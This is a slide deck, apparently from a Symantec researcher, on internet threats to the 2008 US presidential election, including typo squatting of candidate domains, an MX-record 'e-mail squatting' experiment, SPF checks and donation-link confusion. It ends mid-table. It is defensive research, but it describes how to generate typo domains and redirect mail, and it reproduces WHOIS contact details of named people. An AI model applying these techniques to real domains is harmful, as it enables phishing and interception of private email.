Threats to the 2008 Presidential Election

Oliver Friedrichs
Introduction

• Setting the stage..
  – It’s impossible to predict the future; BUT we can
  – Speculate; and
  – Make educated guesses; and
  – Learn from past experiences

• Much of what we’ll discuss:
  – Has been demonstrated before; BUT
  – Can be easily applied to the electoral system

• Our findings need to be grounded in fact
  – Our intent is not to appear alarmist or spread FUD
  – Not all threats are equal; rating will be required
Ranking of Threats

Elevated; No immediate detrimental impact however may lead to further more serious attacks.

High; A serious threat, causing midterm harm, immediate action should be taken.

Extreme; High severity and high impact threat. May undermine long term confidence and cause immediate damage.
The Internet and our Electoral System

- Internet increasingly relied on for voter communications
- Important to understand the associated risks
- One need only examine current threats
  - Adware, Spyware, Malicious Code
  - Typo Squatting, SPAM, Phishing, Fraud, Identity Theft
  - Dissemination of misinformation
  - Invasion of privacy
- Emphasis will be on 2008 Election; can apply anywhere
- Past studies have focused on voting machine security
- Our emphasis is on Internet-borne threats
Online Advocacy

- 2004 Election was a first:
  - First use of E-mail solicitation
  - Organizing of supporters
  - Political BLOGs
- Kerry campaign lead
  - John Kerry - $82MM
  - Howard Dean - $20MM
  - George Bush - $14MM
- 45% of Democrat donors received E-mail daily
- 70% of Online Donors forwarded emails to others
Contributions in 2008

- Record online donations:
  - Obama $28MM – January
  - Clinton $7MM – January
Typo Squatting
Threat: Typo Squatting

• Early 1990s was the wild west
  – No precedence on domain name disputes
  – Speculation and infringement ran rampant

• UDRP – Uniform Domain Name Dispute Resolution Policy
  – Created by ICANN in 1999
  – Implemented by WIPO – World Intellectual Property Organization
  – Provides a framework; but does not prevent infringement

• Anticybersquatting Consumer Protection Act
  – Took effect on November 29th, 1999
  – Provides a legal remedy and recovery of monetary damages

• Low cost of domain registration continues to drive infringement
Everyone wants to be Kevin Ham

- $300MM Empire built on domain name speculation and typo squatting

---

### The man who owns the Internet

Kevin Ham is the most powerful dotcom mogul you've never heard of, reports Business 2.0 Magazine. Here's how the master of Web domains built a $300 million empire.

By Paul Sloan, Business 2.0 Magazine editor-at-large

May 22, 2007: 2:17 PM EDT

(Business 2.0 Magazine) -- Kevin Ham leans forward, sits up tall, closes his eyes, and begins to type -- into the air. He's seated along the rear wall of a packed ballroom in Las Vegas's Venetian Hotel. Up front, an auctioneer is running through a list of internet domain names, building excitement the same way he might if vintage cars were on the block.

As names come up that interest Ham, he occasionally air-types. It's the ultimate gut check. Is the name one that people might enter directly into their Web browser, bypassing the search engine box entirely? As Ham wants? Is it better in plural or singular form? If it's a typo, is it a mistake a lot of people would make? Or does the name, like a stunning beachfront property, just feel like a winner?

When Ham wants a domain, he leans over and quietly instructs an associate to bid on his behalf. He likes wedding names, so his guy lifts the white paddle and snags Weddingcatering.com for $10,000. Greeting.com is not nearly as good as the plural Greetings.com, but Ham grabs it anyway, for $350,000.

Ham is a devout Christian, and he spends $31,000 to add Christianrock.com to his collection, which already includes God.com and Satan.com. When it's all over, Ham strolls to the table near the exit and writes a check for $650,000. It's a cheap afternoon.

Just a few years ago, most of the guys bidding in this room had never laid eyes on one another. Indeed, they rarely left their home
Example Disputes

- Julia Roberts (juliaroberts.com)

**WIPO Arbitration and Mediation Center**

**ADMINISTRATIVE PANEL DECISION**

Julia Fiona Roberts v. Russell Boyd  
Case No. D2000-0210

1. The Parties

Claimant is Julia Fiona Roberts, a United States citizen, with a principal place of business c/o Armstrong Hirsch Jackoway Tyerman Werthimer, 1888 Century Park East 18th Floor, Los Angeles, California 90067 USA.

Respondent is Russell Boyd, a United States citizen with a mailing address 189 Carter Road, Princeton, New Jersey 08540 USA.

7. Decision

The Panel concludes (a) that the domain name <juliaroberts.com> is identical to Complainant’s common law trademark in her name “Julia Roberts,” (b) that Respondent has no rights or legitimate interest in the domain name and (c) that Respondent registered and used the domain name in bad faith. Therefore, pursuant to paragraphs 4(i) of the Policy and 15 of the Rules, the Panel orders that the domain name <juliaroberts.com> be transferred to Complainant Julia Fiona Roberts.
Example Disputes

- Sting (www.sting.com)

WIPO Arbitration and Mediation Center

ADMINISTRATIVE PANEL DECISION

Gordon Sumner, t/a Sting v Michael Urvan

Case No. D2000-0596

1. The Parties

1.1 The Complainant is Gordon Sumner, professionally known as “Sting”, a citizen of the United Kingdom who maintains a residence in the United States. The Respondent is Michael Urvan, of Marietta, Georgia, United States of America.

7. Decision

7.1 This Administrative Panel decides that the Complainant has not proven each of the three elements in paragraph 4(a) of the Uniform Policy in relation to the domain name the subject of the Complaint.

7.2 Pursuant to paragraph 4(i) of the Uniform Policy and paragraph 15 of the Uniform Rules, this Administrative Panel denies the request that the Registrar, Network Solutions, Inc, be required either to transfer to the Complainant, Gordon Sumner, t/a Sting, or to cancel, the domain name “sting.com”.

2008 Candidate Infringement

- Sought out to determine how widespread typo squatting was
- Identified candidates registered with FEC as of March 31/07
  - 19 Candidates had registered
  - Identified primary campaign site and registered domain name
  - Removed non-COM domains (to simplify analysis)
  - 17 Domains left

<table>
<thead>
<tr>
<th>Candidate</th>
<th>Domain</th>
<th>Candidate</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>Joe Biden (Democrat)</td>
<td>joebiden.com</td>
<td>Duncun Hunter (Republican)</td>
<td>gohunter08.com</td>
</tr>
<tr>
<td>Sam Brownback (Republican)</td>
<td>brownback.com</td>
<td>John McCain (Republican)</td>
<td>johnmccain.com</td>
</tr>
<tr>
<td>Hillary Clinton (Democrat)</td>
<td>hillaryclinton.com</td>
<td>Barack Obama (Democrat)</td>
<td>barackobama.com</td>
</tr>
<tr>
<td>John Cox (Republican)</td>
<td>cox2008.com</td>
<td>Ron Paul (Republican)</td>
<td>ronpaul2008.com</td>
</tr>
<tr>
<td>Christopher Dodd (Democrat)</td>
<td>chrisdodd.com</td>
<td>Bill Richardson (Democrat)</td>
<td>richardsonforpresident.com</td>
</tr>
<tr>
<td>John Edwards (Democrat)</td>
<td>johnedwards.com</td>
<td>Mitt Romney (Republican)</td>
<td>mittromney.com</td>
</tr>
<tr>
<td>James Gilmore (Republican)</td>
<td>gilmoreforpresident.com</td>
<td>Tom Tancredo (Republican)</td>
<td>teamtancredo.com</td>
</tr>
<tr>
<td>Rudy Giuliani (Republican)</td>
<td>joinrudy2008.com</td>
<td>Tommy Thompson (Republican)</td>
<td>tommy2008.com</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Mike Huckabee (Republican)</td>
<td>mikehuckabee.com</td>
</tr>
</tbody>
</table>
Test Process

• Conducted two tests
  – Typo Squatting Analysis
  – Cousin Domain Analysis
• Created two applications
  – *typo_gen* – allows generation of typos based on five common mistakes
  – *typo_lookup* – performs DNS and WHOIS lookups of domains names
• Mistakes include:
  – Missing the first ‘.’ delimiter: www.mittromney.com
  – Missing a character in the name (t): www.mitromney.com
  – Hitting a surrounding character (r): www.mitrromney.com
  – Adding an additional character (t): www.mitttromney.com
  – Reversing two characters (im): www.imttromney.com
<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Registered</th>
<th>%</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>barackobama.com</td>
<td>52 out of 160</td>
<td>33%</td>
<td>narackobama.com</td>
</tr>
<tr>
<td>hillaryclinton.com</td>
<td>58 out of 191</td>
<td>30%</td>
<td>hillaryclingon.com</td>
</tr>
<tr>
<td>johnedwards.com</td>
<td>34 out of 170</td>
<td>20%</td>
<td>hohnedwards.com</td>
</tr>
<tr>
<td>johnmccain.com</td>
<td>20 out of 137</td>
<td>15%</td>
<td>jhnmccain.com</td>
</tr>
<tr>
<td>mittromney.com</td>
<td>18 out of 123</td>
<td>15%</td>
<td>muttromney.com</td>
</tr>
<tr>
<td>jobiden.com</td>
<td>15 out of 125</td>
<td>12%</td>
<td>jobiden.com</td>
</tr>
<tr>
<td>chrisdodd.com</td>
<td>14 out of 145</td>
<td>10%</td>
<td>chrisdod.com</td>
</tr>
<tr>
<td>joinrudy2008.com</td>
<td>9 out of 173</td>
<td>5%</td>
<td>jionrudy2008.com</td>
</tr>
<tr>
<td>cox2008.com</td>
<td>3 out of 92</td>
<td>3%</td>
<td>fox2008.com</td>
</tr>
<tr>
<td>mikehuckabee.com</td>
<td>3 out of 167</td>
<td>2%</td>
<td>mikehukabee.com</td>
</tr>
<tr>
<td>ronpaul2008.com</td>
<td>11 out of 143</td>
<td>2%</td>
<td>ronpaul2008.com</td>
</tr>
<tr>
<td>gohunter08.com</td>
<td>1 out of 150</td>
<td>1%</td>
<td>ohunter08.com</td>
</tr>
<tr>
<td>richardsonforpresident.com</td>
<td>2 out of 340</td>
<td>1%</td>
<td>richardsonforpresiden.com</td>
</tr>
<tr>
<td>teamtancredo.com</td>
<td>1 out of 170</td>
<td>1%</td>
<td>teamtancredo.com</td>
</tr>
<tr>
<td>tommy2008.com</td>
<td>1 out of 107</td>
<td>1%</td>
<td>tommyt2008.com</td>
</tr>
<tr>
<td>brownback.com</td>
<td>0 out of 134</td>
<td>0%</td>
<td></td>
</tr>
<tr>
<td>gilmoreforpresident.com</td>
<td>0 out of 276</td>
<td>0%</td>
<td></td>
</tr>
</tbody>
</table>
## Typo Squatting – February 2008

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Then</th>
<th>Now</th>
<th>%</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>hillaryclinton.com</td>
<td>30%</td>
<td>79 out of 191</td>
<td>41%</td>
<td>hillaryclinton.com</td>
</tr>
<tr>
<td>barackobama.com</td>
<td>33%</td>
<td>47 out of 160</td>
<td>29%</td>
<td>narackobama.com</td>
</tr>
<tr>
<td>johndwards.com</td>
<td>[X]</td>
<td>20%</td>
<td>42 out of 170</td>
<td>25%</td>
</tr>
<tr>
<td>ronpaul2008.com</td>
<td>2%</td>
<td>26 out of 143</td>
<td>19%</td>
<td>ronpaul2008.com</td>
</tr>
<tr>
<td>johnmccain.com</td>
<td>15%</td>
<td>25 out of 137</td>
<td>18%</td>
<td>jjhmccain.com</td>
</tr>
<tr>
<td>mittromney.com</td>
<td>15%</td>
<td>19 out of 123</td>
<td>15%</td>
<td>muttromney.com</td>
</tr>
<tr>
<td>mikehuckabee.com</td>
<td>[X]</td>
<td>2%</td>
<td>17 out of 167</td>
<td>10%</td>
</tr>
<tr>
<td>joinrudy2008.com</td>
<td>[X]</td>
<td>5%</td>
<td>12 out of 173</td>
<td>7%</td>
</tr>
<tr>
<td>jobiden.com</td>
<td>12%</td>
<td>6 out of 125</td>
<td>5%</td>
<td>jobiden.com</td>
</tr>
<tr>
<td>cox2008.com</td>
<td>[X]</td>
<td>3%</td>
<td>4 out of 92</td>
<td>4%</td>
</tr>
<tr>
<td>chrisdodd.com</td>
<td>[XX]</td>
<td>10%</td>
<td>4 out of 145</td>
<td>3%</td>
</tr>
<tr>
<td>richardsonforpresident.com</td>
<td>[XX]</td>
<td>1%</td>
<td>4 out of 340</td>
<td>1%</td>
</tr>
<tr>
<td>tommy2008.com</td>
<td>[XXX]</td>
<td>1%</td>
<td>1 out of 107</td>
<td>1%</td>
</tr>
<tr>
<td>gohunter08.com</td>
<td>[XXX]</td>
<td>1%</td>
<td>0 out of 150</td>
<td>0%</td>
</tr>
<tr>
<td>teamtancredo.com</td>
<td>[XXX]</td>
<td>1%</td>
<td>0 out of 170</td>
<td>0%</td>
</tr>
<tr>
<td>brownback.com</td>
<td>[XXX]</td>
<td>0%</td>
<td>0 out of 134</td>
<td>0%</td>
</tr>
<tr>
<td>gilmoreforpresident.com</td>
<td>[XXX]</td>
<td>0%</td>
<td>0 out of 276</td>
<td>0%</td>
</tr>
</tbody>
</table>

[X] Continue to allow donations  [XX] Donations to recover debt  [XXX] Abandoned
Threat: Web Site Abandonment

Complete the following to make your payment:

- $4,600

This center is not configured with an Internet Merchant Account.

Email: *
Web Site Abandonment

- Tommy Thompson
- Sam Brownback
- Jim Gilmore
Example Registered Typo Sites

• Figure 1. [http://www.barackobams.com](http://www.barackobams.com) contains advertisements pointing to the candidate’s legitimate campaign site.
Example Registered Typo Sites

- Figure 2. http://www.hillaryclingon.com has another meaning.
Example Registered Typo Sites

• Figure 3. http://www.joinrudy2008.com redirects to a detractor’s web site at http://rudy-urbanlegend.com (now gone).
Example Registered Typo Sites

- Figure 4. August. http://www.muttromney.com points to detractors web site.
Example Registered Typo Sites

- Figure 5. http://www.jillaryclinton.com displays advertisements directing visitors to rival web sites.
All Your Typos Are Belong To Us
Proactive registration

- We registered 124 typo domains to protect them; ($800)

<table>
<thead>
<tr>
<th>Barack Obama</th>
<th>Mitt Romney</th>
<th>Hillary Clinton</th>
</tr>
</thead>
<tbody>
<tr>
<td>BARACKOBAMA.COM</td>
<td>BARACKOBAKA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BAARACKOBAMA.COM</td>
<td>BARACKOBAMW.COM</td>
<td>MITTROMJYE.COM</td>
</tr>
<tr>
<td>BADACKOBAMA.COM</td>
<td>BARACKOBQMA.COM</td>
<td>MITTROMNDY.COM</td>
</tr>
<tr>
<td>BAFACKOBAMA.COM</td>
<td>BARACKOB5MA.COM</td>
<td>MITTROMNEEY.COM</td>
</tr>
<tr>
<td>BARACKOBAMA.COM</td>
<td>BARACKOBWMA.COM</td>
<td>MITTROMNEG.COM</td>
</tr>
<tr>
<td>BARACIOBAMA.COM</td>
<td>BARACKOZMA.COM</td>
<td>MITTROMNEH.COM</td>
</tr>
<tr>
<td>BARACKBOAMA.COM</td>
<td>BARACKOGAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARACKIBAMA.COM</td>
<td>BARACKOHAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARACKKABA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARACKLBA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARACKOABA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARACKOAB.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARAVKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARCKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MITTROMNEY.COM</td>
</tr>
<tr>
<td>BARWCKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MUTRKMNEY.COM</td>
</tr>
<tr>
<td>BARZCKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MTTLKMNEY.COM</td>
</tr>
<tr>
<td>BQRAKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MUTTRMNNEY.COM</td>
</tr>
<tr>
<td>BSRACKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MTTYNMNEY.COM</td>
</tr>
<tr>
<td>BZRACKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MTTROMNEY.COM</td>
</tr>
<tr>
<td>GARACKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MTTROMNEY.COM</td>
</tr>
<tr>
<td>HARACKOBAMA.COM</td>
<td>BARACKOBAMA.COM</td>
<td>MTTROMNEY.COM</td>
</tr>
</tbody>
</table>
Proactive registration

• Owned since July, 2007; not one contact

Registrant:
Registered to prevent typo squatting
350 Ellis Street, Bldg A
Mountain View, California 94043
United States

Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: IMTTROMNEY.COM
  Created on: 26-Jul-07
  Expires on: 26-Jul-08
  Last Updated on: 26-Jul-07

Administrative Contact:
Friedrichs, Oliver  oliver_friedrichs@symantec.com
Registered to prevent typo squatting
350 Ellis Street, Bldg A
Mountain View, California 94043
United States
6505270945    Fax --
Traffic Analysis

- Domains sat idle for ~6 months
- Began traffic forwarding in January
  - Using Apache, Virtual Domains and Redirect (302)
- Used WebLog Expert to analyze log files
  - Filtered out Crawlers, Spiders and Bots
- Analysis of a 2 month period; THU Jan 24 - MON Mar 24
- Limited amount of data; interesting nonetheless
<table>
<thead>
<tr>
<th><strong>Hits</strong></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Hits</td>
<td>21,465</td>
</tr>
<tr>
<td>Average Hits per Day</td>
<td>351</td>
</tr>
<tr>
<td>Average Hits per Visitor</td>
<td>2.57</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Visitors</strong></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Visitors</td>
<td>8,356</td>
</tr>
<tr>
<td>Average Visitors per Day</td>
<td>136</td>
</tr>
<tr>
<td>Total Unique IPs</td>
<td>5,107</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Bandwidth</strong></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Bandwidth</td>
<td>16.03 MB</td>
</tr>
<tr>
<td>Average Bandwidth per Day</td>
<td>269.04 KB</td>
</tr>
<tr>
<td>Average Bandwidth per Hit</td>
<td>782 B</td>
</tr>
<tr>
<td>Average Bandwidth per Visitor</td>
<td>1.96 KB</td>
</tr>
</tbody>
</table>
Daily Visitors

- Peak of 300 visitors/day (~400 hits)
  - Increase on Super Tuesday
**Typo Frequency Analysis**

- Duplicate and missing letters most common

<table>
<thead>
<tr>
<th>Virtual Domain</th>
<th>Visitors</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>baraackobama.com</td>
<td>950</td>
<td>1705</td>
</tr>
<tr>
<td>baarackobama.com</td>
<td>432</td>
<td>797</td>
</tr>
<tr>
<td>hillaaryclinton.com</td>
<td>366</td>
<td>561</td>
</tr>
<tr>
<td>hillarylcinton.com</td>
<td>353</td>
<td>650</td>
</tr>
<tr>
<td>hilaaryclinton.com</td>
<td>350</td>
<td>573</td>
</tr>
<tr>
<td>barackobaama.com</td>
<td>347</td>
<td>713</td>
</tr>
<tr>
<td>baracoobama.com</td>
<td>339</td>
<td>559</td>
</tr>
<tr>
<td>barackboama.com</td>
<td>336</td>
<td>702</td>
</tr>
<tr>
<td>hillaryclinton.com</td>
<td>314</td>
<td>635</td>
</tr>
<tr>
<td>mitroney.com</td>
<td>279</td>
<td>375</td>
</tr>
</tbody>
</table>
Origin Country Analysis

- United States not surprisingly at the top
- UAE is surprisingly third; however look at the drop after the US

<table>
<thead>
<tr>
<th>Country</th>
<th>Visitors</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>7,226</td>
<td>19,230</td>
</tr>
<tr>
<td>Canada</td>
<td>242</td>
<td>543</td>
</tr>
<tr>
<td>United Arab Emirates</td>
<td>105</td>
<td>138</td>
</tr>
<tr>
<td>Germany</td>
<td>98</td>
<td>177</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>56</td>
<td>99</td>
</tr>
</tbody>
</table>
## Origin State and City Analysis

### State Visitors Hits

<table>
<thead>
<tr>
<th>State</th>
<th>Visitors</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>California</td>
<td>1288</td>
<td>2060</td>
</tr>
<tr>
<td>Washington</td>
<td>726</td>
<td>2845</td>
</tr>
<tr>
<td>Texas</td>
<td>415</td>
<td>1097</td>
</tr>
<tr>
<td>New York</td>
<td>370</td>
<td>704</td>
</tr>
<tr>
<td>Florida</td>
<td>312</td>
<td>635</td>
</tr>
</tbody>
</table>

### City Visitors Hits

<table>
<thead>
<tr>
<th>City</th>
<th>Visitors</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>San Diego, CA</td>
<td>348</td>
<td>398</td>
</tr>
<tr>
<td>Bellevue, WA</td>
<td>321</td>
<td>1340</td>
</tr>
<tr>
<td>Seattle, WA</td>
<td>253</td>
<td>1060</td>
</tr>
<tr>
<td>Washington, DC</td>
<td>192</td>
<td>373</td>
</tr>
<tr>
<td>Waterford, CA</td>
<td>183</td>
<td>208</td>
</tr>
</tbody>
</table>
Browser Frequency Analysis

- IE7 most frequently seen browser; but IE6 not far behind

![Daily used browsers graph]

Most frequent browsers:
- Internet Explorer 7.x
- Internet Explorer 6.x
- Firefox
- Safari
- Other Browsers
Browser plug-in vulnerabilities

- 476 browser plug-in vulnerabilities seen in 2007
- 83% affect ActiveX components for IE
Operating System Frequency Analysis

- Windows XP most common OS; Mac OS second
UAE Analysis

- Why is UAE third on our list?
- Fifth IP ranked by visitor count

<table>
<thead>
<tr>
<th>Host</th>
<th>Country</th>
<th>Visitors</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>68.189.75.103</td>
<td>United States</td>
<td>183</td>
<td>208</td>
</tr>
<tr>
<td>76.234.6.190</td>
<td>United States</td>
<td>105</td>
<td>191</td>
</tr>
<tr>
<td>69.17.162.33</td>
<td>Canada</td>
<td>61</td>
<td>136</td>
</tr>
<tr>
<td>74.52.245.146</td>
<td>United States</td>
<td>47</td>
<td>249</td>
</tr>
<tr>
<td>213.42.21.59</td>
<td>United Arab Emirates</td>
<td>46</td>
<td>59</td>
</tr>
</tbody>
</table>

inetnum: 213.42.0.0 – 213.42.255.255
org: ORG-ETC1-RIPE
netname: AE-EMIRNET-990929
descr: Emirates Telecommunications Corporation

country: AE
admin-c: AH1223-RIPE
tech-c: SAS88-RIPE, SAN30-RIPE, SMA3-RIPE
status: ALLOCATED PA
mnt-by: RIPE-NCC-HM-MNT
mnt-lower: ETISALAT-MNT
mnt-routes: ETISALAT-MNT
source: RIPE # Filtered
What do the logs show?

- 59 hits; all to www.baracoobama.com; identical over 15 days

```
213.42.21.59 - - [03/Feb/2008:09:39:18 -0800] "GET /HTTP/1.1" 302 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; SIMBAR Enabled; SIMBAR={319150ED-A86D-4032-A7A3-EAA4CB78B217})" baracoobama.com
```

- What is SIMBAR? The Simple Toolbar Search
  - Direct marketing Adware application; user is infected
- Is it driving this traffic? Who knows..
- Traffic is odd, likely automated, and unknown to the user
- Possible typo in the advertisement target?
Threat: E-mail Squatting

• One of the most concerning attacks
• **What is it?** Redirection of E-mail
  – MX record addition (trivial)
• Mail client auto-complete minimizes risk somewhat
  – But type-in still extremely common
• Conducted a strictly controlled experiment
• **Strict requirements:**
  – No interception of E-mail; No disruption of E-mail transmission
  – No invasion of privacy; exposure of private communications
• Reconfigured MX records for 124 domains for 24 hour period
• Configured Linux system w/iptables to LOG port 25
• Monitored resulting events for 24 hour period
E-mail Squatting Analysis

• Resulting connection attempts:
  – 1121 total connection attempts
  – 12 distinct IP addresses
  – 7 distinct top level domains

• Would have been easy to intercept
  – smtp-sink
  – Or redirect to intended recipient

• What would we see?
  – Information requests, questions?
  – Organizational E-mails?
  – Internal campaign communications?
  – Strategy?

- yahoo.com
- google.com
- hotmail.com
- ex.dslextreme.net
- rsys1.com
- tierra.net
- administrstaff.com
Even more scary..

- Typos of two different defense contractors

<table>
<thead>
<tr>
<th>Domain Only: No MX Record</th>
<th>Domain + Valid MX Record</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Registrant:</strong></td>
<td><strong>Administrative Contact:</strong></td>
</tr>
<tr>
<td>Private WHOIS FOR XXXXXXXXXX.COM</td>
<td>wen zhiqiang</td>
</tr>
<tr>
<td>Privacy Protection</td>
<td>beijing dongfang tonglian technology.,LTD.</td>
</tr>
<tr>
<td>(<a href="mailto:XXXXXXXXXXXXXXX.COM@privatewhois.in">XXXXXXXXXXXXXXX.COM@privatewhois.in</a>)</td>
<td>beijing</td>
</tr>
<tr>
<td>B-304, Florida, Y-11, Shastrinagar, Lokhandwala Complex, Andheri (West)</td>
<td>beijing Beijing 100000</td>
</tr>
<tr>
<td>Mumbai</td>
<td>China</td>
</tr>
<tr>
<td>Maharashtra, 400053</td>
<td>tel: 86 010 66707800</td>
</tr>
<tr>
<td>IN</td>
<td>fax: 86 010 66706599</td>
</tr>
<tr>
<td>Tel. +91.02226300138</td>
<td><a href="mailto:dftl@pc8000.com">dftl@pc8000.com</a></td>
</tr>
<tr>
<td>Fax. +91.02226311820</td>
<td></td>
</tr>
<tr>
<td>Creation Date: 03-Jul-2000</td>
<td>Technical Contact:</td>
</tr>
<tr>
<td>Expiration Date: 03-Jul-2008</td>
<td>wen zhiqiang</td>
</tr>
<tr>
<td></td>
<td>beijingdongfangtongliankejiyouxiangongsi</td>
</tr>
<tr>
<td></td>
<td>yuquanlu</td>
</tr>
<tr>
<td></td>
<td>beijin Beijing 100039</td>
</tr>
<tr>
<td></td>
<td>China</td>
</tr>
<tr>
<td></td>
<td>tel: 86 010 66707800</td>
</tr>
<tr>
<td></td>
<td>fax: 86 010 66706599</td>
</tr>
<tr>
<td></td>
<td><a href="mailto:dftl@pc8000.com">dftl@pc8000.com</a></td>
</tr>
</tbody>
</table>
Profit Motivated Phishing
Event oriented Phishing

• Profit-motivated event-based Phishing is not new
• Has been seen in the past on numerous occasions
• Surrounding significant events world-wide
  – Indian Ocean Tsunami in 2004
  – Hurricane Katrina in 2005
  – 2006 and 2010 FIFA World Cup
• Brazil sees even shorter term examples
Campaign E-mail Use Analysis

• Registered for E-mail campaigns in August
  – 1040 E-mail messages received over 8 months (Aug – Apr)
  – 17 campaigns tracked; 174 distinct email addresses seen
Threat: Inconsistent Sources

- John McCain
  From: "Ace Smith, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Ace Smith, Hillary for President" <info@hillaryclinton.com>
  From: "Maisha Everhart, Hillary Clinton for President" <meverhart@hillaryclinton.com>
  From: "Mather Martin, Hillary for President" <info@hillaryclinton.com>
  From: "Michael Trujillo, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Miguel Espinoza, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Mike Trujillo, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Patti Solis Doyle, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Patti Solis Doyle, Hillary for President" <info@hillaryclinton.com>
  From: "Team California, Hillary for President" <info@hillaryclinton.com>
  From: Bill Clinton <info@hillaryclinton.com>
  From: Chelsea Clinton <info@hillaryclinton.com>
  From: Hillary Clinton <club44oakland@hillaryclinton.com>
  From: Hillary Clinton <info@hillaryclinton.com>
  From: Hillary Clinton for President <info@hillaryclinton.com>
  From: John Grisham <info@hillaryclinton.com>
  From: Rob Reiner <info@hillaryclinton.com>

- Hillary Clinton
  From: "Ace Smith, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Ace Smith, Hillary for President" <info@hillaryclinton.com>
  From: "Maisha Everhart, Hillary Clinton for President" <meverhart@hillaryclinton.com>
  From: "Mather Martin, Hillary for President" <info@hillaryclinton.com>
  From: "Michael Trujillo, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Miguel Espinoza, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Mike Trujillo, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Patti Solis Doyle, Hillary Clinton for President" <info@hillaryclinton.com>
  From: "Patti Solis Doyle, Hillary for President" <info@hillaryclinton.com>
  From: "Team California, Hillary for President" <info@hillaryclinton.com>
  From: Bill Clinton <info@hillaryclinton.com>
  From: Chelsea Clinton <info@hillaryclinton.com>
  From: Hillary Clinton <club44oakland@hillaryclinton.com>
  From: Hillary Clinton <info@hillaryclinton.com>
  From: Hillary Clinton for President <info@hillaryclinton.com>
  From: John Grisham <info@hillaryclinton.com>
  From: Rob Reiner <info@hillaryclinton.com>
Threat: Sender ID / SPF Usage

- Validates that the originating IP can send mail for domain specified in:
  - HELO command
  - MAIL FROM command
- Participants publish TXT records which specific allowed mail servers

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>SPF?</th>
</tr>
</thead>
<tbody>
<tr>
<td>barackobama.com</td>
<td>Yes</td>
</tr>
<tr>
<td>brownback.com</td>
<td>No</td>
</tr>
<tr>
<td>chrisdodd.com</td>
<td>No</td>
</tr>
<tr>
<td>cox2008.com</td>
<td>No</td>
</tr>
<tr>
<td>mikehuckabee.com</td>
<td>Yes</td>
</tr>
<tr>
<td>gilmoreforpresident.com</td>
<td>No</td>
</tr>
<tr>
<td>gohunter08.com</td>
<td>No</td>
</tr>
<tr>
<td>hillaryclinton.com</td>
<td>Yes</td>
</tr>
<tr>
<td>joebiden.com</td>
<td>No</td>
</tr>
<tr>
<td>johnedwards.com</td>
<td>Yes</td>
</tr>
<tr>
<td>johnmccain.com</td>
<td>Yes</td>
</tr>
<tr>
<td>joinrudy2008.com</td>
<td>Yes</td>
</tr>
<tr>
<td>mittromney.com</td>
<td>No</td>
</tr>
<tr>
<td>richardsonforpresident.com</td>
<td>No</td>
</tr>
<tr>
<td>ronpaul2008.com</td>
<td>Yes</td>
</tr>
<tr>
<td>teamtancredo.com</td>
<td>No</td>
</tr>
<tr>
<td>tommy2008.com</td>
<td>Yes</td>
</tr>
</tbody>
</table>

**hillaryclinton.com**: v=spf1
ip4:129.41.77.122 ip4:69.25.50.0/24
ip4:69.63.150.0/23 ip4:72.3.248.0/24
ip4:72.3.141.0/24 ip4:72.3.251.0/24
ip4:129.41.98.182 include:mxlogic.net
include:spf.postini.com include:cpoint.net
ip4:68.166.167.85 ip4:216.185.23.48/28 --all

**tommy2008.com**: v=spf1 +all [BAD]
Threat: Confusing Donation Links

- Donation sites:
  - All candidates
  - All use SSL
  - Use of third parties
  - Why change TLD?
  - Use DNS correctly

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Redirects To</th>
</tr>
</thead>
<tbody>
<tr>
<td>barackobama.com</td>
